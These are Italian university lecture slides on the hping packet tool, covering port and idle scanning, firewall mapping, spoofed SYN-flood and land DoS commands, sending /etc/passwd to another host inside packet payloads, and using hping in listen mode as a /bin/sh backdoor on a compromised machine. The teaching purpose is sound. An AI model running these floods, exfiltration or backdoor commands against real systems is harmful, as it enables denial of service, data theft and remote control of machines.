Introduzione ad hping Andrea Lanzi, Davide Marrone, Roberto Paleari Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Corso di Laurea in Informatica 10 gennaio 2007
Sommario 1 Funzionalità hping2 2 scanning servizi di rete 3 Firewall mapping 4 hping come tool DoS 5 Trasferimento file via ICMP, UDP, TCP 6 hping come Trojan
Introduzione hping Caratteristiche del tool hping è un network tool capace sia di creare pacchetti di rete sia di sniffare pacchetti. hping gestisce la frammentazione, gestisce pacchetti di grandezza arbitraria e l incapsulamento di protocolli. È portabile su molte architetture UNIX-like: Linux, FreeBSD, NetBSD, OpenBSD, Solaris, MacOs X. È stato creato e sviluppato da un Italiano Salvatore Sanfilippo a.k.a antirez.
Funzionalità dello strumento hping Funzionalità hping testing di Firewall. tecnica di scanning avanzata. test delle reti, utilizzando diversi protocolli, TOS, frammentazione. path MTU discovery manuale. traceroute avanzato, con supporto a tutti i protocolli. Remote OS fingerprinting. Remote uptime guessing. TCP/IP stack auditing. strumento didattico per la comprensione dei protocolli di rete.
hping come scanner (1) L attività di scanning del sistema permette ad un attaccante di reperire informazioni su quali porte (servizi di rete) sono aperti o filtrati sull host vittima. Esempio di Syn scan # hping -S idea.sec.dico.unimi.it -p 80 HPING idea.sec.dico.unimi.it (ppp0 159.149.155.69):... len=44 ip=159.149.155.69 ttl=50 DF id=0 sport=80 flags=sa seq=0 len=44 ip=159.149.155.69 ttl=50 DF id=0 sport=80 flags=sa seq=1... Se la risposta di ritorno contiene SA (syn/ack) allora la porta è aperta, se la risposta è RA (reset/ack) allora la porta è chiusa.
hping come scanner (2) Con hping si possono specificare tutti i flag TCP coinvolti per poter effettuare altri tipi di stealth scan: -F fin imposta FIN flag -S syn imposta SYN flag -R rst imposta RST flag -P push imposta PUSH flag -A ack imposta ACK flag -U urg imposta URG flag -X xmas imposta X flag -F ymas imposta Y flag
hping come scanner (3) Per poter effettuare l attività di scanning su diverse porte della macchina vittima tramite hping possiamo eseguire il seguente comando: # hping -S idea.sec.dico.unimi.it -p ++22 HPING idea.sec.dico.unimi.it (ppp0 159.149.155.69): len=40 ip=159.149.155.69 ttl=241 DF id=0 sport=22 flags=ra seq=0 len=40 ip=159.149.155.69 ttl=241 DF id=0 sport=23 flags=ra seq=1...
hping come scanner (4) Con hping si possono specificare tutti le opzioni del TCP potendo creare tutte le tecniche di scan: opzioni TCP -s baseport porta sorgente -p destport porta destinazione -w win grandezza finestra TCP -Q seqnum mostra numero di sequenza -b badcheck pachetto con checksum errato -M setseq imposta il numero di sequenza TCP -L setack imposta TCP ack
Idle scanning (1) L idle scan è una nuova tipologia di scanning inventata dallo stesso autore di hping, antirez. Ipotesi per L Idle scan (1) tre attori: il server vittima, una macchina chiamata Dumb, e la macchina da cui viene effettuato lo scan. La macchina Dumb, incrementa in modo sequenziale l ID (Identification). La macchina Dumb non deve generare altro tipo di traffico di rete. possibilità di effettuare lo spoofing tra la macchina server e la macchina da cui parte lo scan.
Scenario: Idle scan Scenario L Idle scan La macchina da cui parte lo scan, pinga continuamente la macchina Dumb, e vede nei pacchetti di ritorno la risposta con id incrementato di 1. La macchina scan invia un pacchetto spoofato, indirizzo sorgente della macchina Dumb, TCP con syn attivato su una determinata porta all host vittima.
Scenario: Idle scan (2) Scenario L Idle scan (2) si possono ricevere due tipo di risposte: SYN/ACK o RST, nel caso di RST, la macchina Dumb non creerà nessun nuovo pacchetto e cosi l ID rimarrà uguale. nel caso del SYN/ACK la macchina Dumb, risponderà con un RST e l ID sarà incrementato di 1.
Comandi hping: Idle scan Di seguito si vede la comunicazione con la macchina Dumb e lo spoofing del pacchetto inviato dall attaccante verso la vittima: # hping -I eth0 -SA -r 192.168.10.1 HPING 192.168.10.1 (eth0 192.168.10.1): SA set, 40 headers + 0 data bytes len=46 ip=192.168.10.1 flags=r seq=0 ttl=255 id=18 win=0... len=46 ip=192.168.10.1 flags=r seq=1 ttl=255 id=+1 win=0... len=46 ip=192.168.10.1 flags=r seq=2 ttl=255 id=+1 win=0...... # hping -I eth0 -a 192.168.10.1 -S 192.168.10.33 -p ++20 HPING 192.168.10.33 (eth0 192.168.10.33): S set, 40 headers + 0 data bytes...
Comandi hping: Idle scan La continua comunicazione con la macchina Dumb mostra che la porta 21 nel server vittima risulta nello stato open: # hping -I eth0 -r -S 192.168.10.1 -p 2000 HPING 192.168.10.1 (eth0 192.168.10.1): S set, 40 headers + 0 data bytes len=46 ip=192.168.10.1 flags=ra seq=86 ttl=255 id=+1 win=0... len=46 ip=192.168.10.1 flags=ra seq=87 ttl=255 id=+2 win=0... (port 21)
Firewall mapping con hping Questa tecnica è utilizzata, per poter comprendere una topologia della rete, capire se ci sono firewall, funzionalità di traceroute. # hping3 -z -t 1 -S idea.sec.dico.unimi.it -p 22 TTL 0 during transit from ip=192.168.200.3 3: TTL 0 during transit from ip=151.6.25.67... 13: TTL 0 during transit from ip=159.149.99.18 14: TTL 0 during transit from ip=159.149.129.2 16: len=40 ip=159.149.155.69 ttl=240 DF id=0 sport=22 flags=ra seq=16 win=0 rtt=73.9 ms Con questa tecnica si implementa il firewalking, potendo utilizzare però tutti i protocolli.
syn attack hping può essere usato come tool DoS per testare IDS e firewall. Un esempio può essere syn attack. Con il seguente comando si effettua un attacco DoS # hping -a 192.168.200.2 -S 192.168.200.3 -p 80 -i u1000 -a spoof hostname, setta l indirizzo sorgente del host -S flag syn attivato -p porta destinazione -i intervallo di tempo per la spedizione dei pacchetti, e.g. u1000 (1000 microsecondi).
Land attack Un altro esempio di DoS, come consumo di risorse del sistema si può eseguire il seguente comando: # hping -S -a 192.168.200.2 192.168.200.2 -p 80 -i u1000 -a spoof hostname, setta l indirizzo sorgente del host -p porta destinazione -i intervallo di tempo per la spedizione dei pacchetti, e.g. u1000 (1000 microsecondi).
Spoofing control hping può essere utilizzato per testare la protezione dello spoofing su un firewall. # hping -S -a 192.168.200.2 159.149.153.2 -p 80 -i u1000 -S flag syn attivato -a indirizzo sorgente -p porta destinazione -i intervallo temporale di invio pacchetti
Trasferimento file È inoltre possibile inserire delle signature, valori ascii all interno del campo dati dei pacchetti. [host_a] # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd [host_b] # hping2 host_a --listen signature --safe --udp sign inserisce la signature ascii nel campo data safe ritrasmissione dei pacchetti persi (e.g. UDP) file dati da trasmettere nel campo data Quando i dati arrivano dalla parte dell host B viene eseguito il dump dalla signature in poi.
hping come Trojan (1) può essere usato come backdoor, su una macchina compromessa. Il seguente esempio è preso da un esempio di Antirez stesso. victim# hping -I eth0 --listen mysign /bin/sh evil$ telnet victim 25 Trying 192.168.1.1... Connected to nano (192.168.1.1). Escape character is ^]. 220 nano.marmoc.net ESMTP Sendmail mysignls;
hping come Trojan(2) Nel host vittima verrà mostrato l output del comando victim# hping -I eth0-9 mysign /bin/sh hping2 listen mode bin cdrom etc home local-home mnt root tmp var boot dev export lib lost+found proc sbin usr